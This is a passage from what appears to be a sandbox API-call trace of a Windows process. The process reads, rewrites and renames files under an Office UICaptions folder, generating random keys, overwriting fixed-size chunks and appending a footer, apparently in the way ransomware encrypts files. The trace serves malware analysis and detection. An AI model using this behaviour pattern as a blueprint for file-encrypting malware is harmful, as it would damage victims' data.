(in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f.2f9b60", NtPathName=0x200af850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\f38f06bb1a96ba948f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107f00 Thread: id = 1694 os_tid = 0x758 [0130.552] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll")) returned 0x2020 [0130.557] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.559] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a84 [0130.559] GetFileSizeEx (in: hFile=0x1a84, lpFileSize=0x1da2f6e0 | out: lpFileSize=0x1da2f6e0*=286560) returned 1 [0130.560] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x45f5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.560] ReadFile (in: hFile=0x1a84, lpBuffer=0x1da2f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1da2f6a8, lpOverlapped=0x0 | out: lpBuffer=0x1da2f660*, lpNumberOfBytesRead=0x1da2f6a8*=0x4, lpOverlapped=0x0) returned 1 [0130.563] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265e80 [0130.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.563] NtQuerySystemTime (in: CurrentTime=0x1da2f5a0 | out: CurrentTime=0x1da2f5a0*=132462177358054000) returned 0x0 [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x480acafc [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x510b734f [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x53e3b812 [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x567a651f [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0xeeb19c5 [0130.563] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x5be06da6 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x6ebb8d52 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x25bc2c60 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x2e6e1661 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x6769cd7e [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0xe9a92a5 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x60bdf138 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x19fd0e74 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0xf7f323d [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x28a13ea0 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x4865bb15 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x4abe0988 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x60d298ea [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x64bdbcc4 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x22ed0b [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x241ca57c [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x19f0c0c4 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x412dfce3 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x690e7777 [0130.564] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x55b99a23 [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x5365c0be [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x55ce78b [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x4ea2f68a [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x43545735 [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x75fc5d06 [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x7ce02927 [0130.565] RtlRandomEx (in: Seed=0x1da2f590 | out: Seed=0x1da2f590) returned 0x47f13193 [0130.578] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.578] ReadFile (in: hFile=0x1a84, lpBuffer=0x41c3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1da2f600, lpOverlapped=0x0 | out: lpBuffer=0x41c3d170*, lpNumberOfBytesRead=0x1da2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0130.583] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0130.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0130.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d90) returned 1 [0130.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c44990 [0130.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265d90 [0130.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265eb0) returned 1 [0130.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0130.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0130.585] WriteFile (hFile=0x1a84, lpBuffer=0x41c44990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1da2f600, lpOverlapped=0x0) [0180.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c44990) returned 1 [0180.051] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.051] ReadFile (in: hFile=0x1a84, lpBuffer=0x41c3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1da2f600, lpOverlapped=0x0 | out: lpBuffer=0x41c3d170*, lpNumberOfBytesRead=0x1da2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0182.114] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1e0 [0182.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f1e0) returned 1 [0182.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201aa520 [0182.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1e0 [0182.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f210 [0182.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f210) returned 1 [0182.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.118] WriteFile (in: hFile=0x1a84, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1da2f600, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x1da2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0198.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0198.096] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x42360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.096] ReadFile (in: hFile=0x1a84, lpBuffer=0x41c3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1da2f600, lpOverlapped=0x0 | out: lpBuffer=0x41c3d170*, lpNumberOfBytesRead=0x1da2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0198.921] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x42360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba40 [0198.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313ba40) returned 1 [0198.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d2140 [0198.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba40 [0198.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313ba70 [0198.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313ba70) returned 1 [0198.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.924] WriteFile (in: hFile=0x1a84, lpBuffer=0x420d2140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1da2f600, lpOverlapped=0x0 | out: lpBuffer=0x420d2140*, lpNumberOfBytesWritten=0x1da2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0213.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d2140) returned 1 [0213.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f2f0 [0213.921] SetFilePointerEx (in: hFile=0x1a84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.921] WriteFile (in: hFile=0x1a84, lpBuffer=0x431f6400*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1da2f6b0, lpOverlapped=0x0 | out: lpBuffer=0x431f6400*, lpNumberOfBytesWritten=0x1da2f6b0*=0x158, lpOverlapped=0x0) returned 1 [0218.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0218.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265190 [0218.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265190) returned 1 [0218.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20265190 [0218.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265160 [0218.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265100 [0218.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265100) returned 1 [0218.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0218.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b8587f0 [0218.133] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="2a") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="f1") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="2b") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="56") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.133] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="50") returned 2 [0218.133] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="95") returned 2 [0218.133] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="b3") returned 2 [0218.133] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="9b") returned 2 [0218.133] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="08") returned 2 [0218.133] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="31") returned 2 [0218.133] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="14") returned 2 [0218.133] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="85") returned 2 [0218.133] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="d7") returned 2 [0218.133] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="06") returned 2 [0218.133] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="c8") returned 2 [0218.133] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="95") returned 2 [0218.133] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.133] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.133] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="dc") returned 2 [0218.134] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="c4") returned 2 [0218.134] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="90") returned 2 [0218.134] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.134] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.134] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="61") returned 2 [0218.134] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.134] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.134] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.134] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="10") returned 2 [0218.134] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.134] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="d4") returned 2 [0218.134] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="48") returned 2 [0218.134] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="28") returned 2 [0218.134] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="8a") returned 2 [0218.134] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="25") returned 2 [0218.134] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="01") returned 2 [0218.134] RtlInitAnsiString (in: DestinationString=0x1da2f728, SourceString="2a6af12b2d564f5095b39b08311485d706c895b7f6dcc490fb1a61a4f9b710e3d448288a2501" | out: DestinationString="2a6af12b2d564f5095b39b08311485d706c895b7f6dcc490fb1a61a4f9b710e3d448288a2501") [0218.134] RtlAnsiStringToUnicodeString (in: DestinationString=0x1da2f6f8, SourceString="2a6af12b2d564f5095b39b08311485d706c895b7f6dcc490fb1a61a4f9b710e3d448288a2501", AllocateDestinationString=1 | out: DestinationString="2a6af12b2d564f5095b39b08311485d706c895b7f6dcc490fb1a61a4f9b710e3d448288a2501") returned 0x0 [0218.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431094e0 [0218.135] wcscat (in: _Dest=0x20507a50, _Source="2a6af12b2d564f5095b" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b" [0218.135] wcscat (in: _Dest=0x20507a50, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b.2f9b60" [0218.135] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b.2f9b60", NtPathName=0x1da2f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2a6af12b2d564f5095b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4312bfe0 Thread: id = 1695 os_tid = 0x30c [0130.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll")) returned 0x2020 [0130.587] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.589] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a88 [0130.589] GetFileSizeEx (in: hFile=0x1a88, lpFileSize=0x1fecf9a0 | out: lpFileSize=0x1fecf9a0*=107360) returned 1 [0130.589] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x1a35c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.589] ReadFile (in: hFile=0x1a88, lpBuffer=0x1fecf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fecf968, lpOverlapped=0x0 | out: lpBuffer=0x1fecf920*, lpNumberOfBytesRead=0x1fecf968*=0x4, lpOverlapped=0x0) returned 1 [0130.597] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265f40 [0130.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265f70 [0130.597] NtQuerySystemTime (in: CurrentTime=0x1fecf860 | out: CurrentTime=0x1fecf860*=132462177358366000) returned 0x0 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x3bc4e887 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x75fa4c88 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x311f61f6 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x33cb5646 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x4748e141 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x6f3dba01 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x1c7bd1bd [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x73782fe7 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x74980c3d [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x6cb997dd [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x607a8c69 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x7df886c [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x342c258b [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x49950ff5 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x2327ed30 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x8e49ec5 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0xb876f71 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x67bebe8e [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0xcb57778 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x37622054 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x3a8f8cd9 [0130.598] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x6baffe6f [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x6b38b7fa [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x43b00810 [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x1c64eced [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x7b6dda3e [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x36a2ac25 [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x5192aa34 [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x13ae6727 [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x5857b91a [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x4ccb2b8e [0130.599] RtlRandomEx (in: Seed=0x1fecf850 | out: Seed=0x1fecf850) returned 0x1c04d85 [0130.613] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.613] ReadFile (in: hFile=0x1a88, lpBuffer=0x41c39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fecf8c0, lpOverlapped=0x0 | out: lpBuffer=0x41c39560*, lpNumberOfBytesRead=0x1fecf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.636] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0130.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0130.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265eb0) returned 1 [0130.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f578d0 [0130.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0130.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266000) returned 1 [0130.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0130.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0130.638] WriteFile (hFile=0x1a88, lpBuffer=0x41f578d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fecf8c0, lpOverlapped=0x0) [0180.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f578d0) returned 1 [0180.049] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.049] ReadFile (in: hFile=0x1a88, lpBuffer=0x41c39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fecf8c0, lpOverlapped=0x0 | out: lpBuffer=0x41c39560*, lpNumberOfBytesRead=0x1fecf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.111] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1b0 [0182.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f1b0) returned 1 [0182.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b5950 [0182.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1b0 [0182.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f1e0 [0182.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f1e0) returned 1 [0182.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.114] RtlFreeHeap 